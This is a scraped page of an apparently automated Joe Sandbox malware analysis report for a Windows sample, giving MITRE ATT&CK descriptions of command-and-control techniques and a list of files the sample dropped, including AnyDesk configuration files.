Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report sJ9Q8UWMAX.com_7fdb00c80f0250575a05601c08627d50

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\Users\user\AppData\Local\Temp\~DF1610AD0EF6C72DD2.TMP

C:\Users\user\AppData\Local\Temp\~DF744899192DCD9BB4.TMP

C:\Users\user\AppData\Local\Temp\~DF8D5525F3BF23B86C.TMP

C:\Users\user\AppData\Local\Temp\~DFEEC415210A380BCD.TMP

C:\Users\user\AppData\Local\Temp\~DFF8E194D4D74C44E8.TMP

C:\Users\user\AppData\Local\Temp\~DFFE57A1C8066DBB5E.TMP

C:\Users\user\AppData\Roaming\AnyDesk\service.conf

C:\Users\user\AppData\Roaming\AnyDesk\system.conf

C:\Users\user\AppData\Roaming\AnyDesk\user.conf

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\64ISL0FR01IFOK9S75OC.temp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\75fdacd8330bac18.customDestinations-ms (copy)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YGURIJQPDD9BXO5FWFYW.temp

C:\Users\user\Desktop\sj9q8uwmax.exe

Windows Analysis Report
sJ9Q8UWMAX.com_7fdb00c80f0250575a05601c08627d50

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre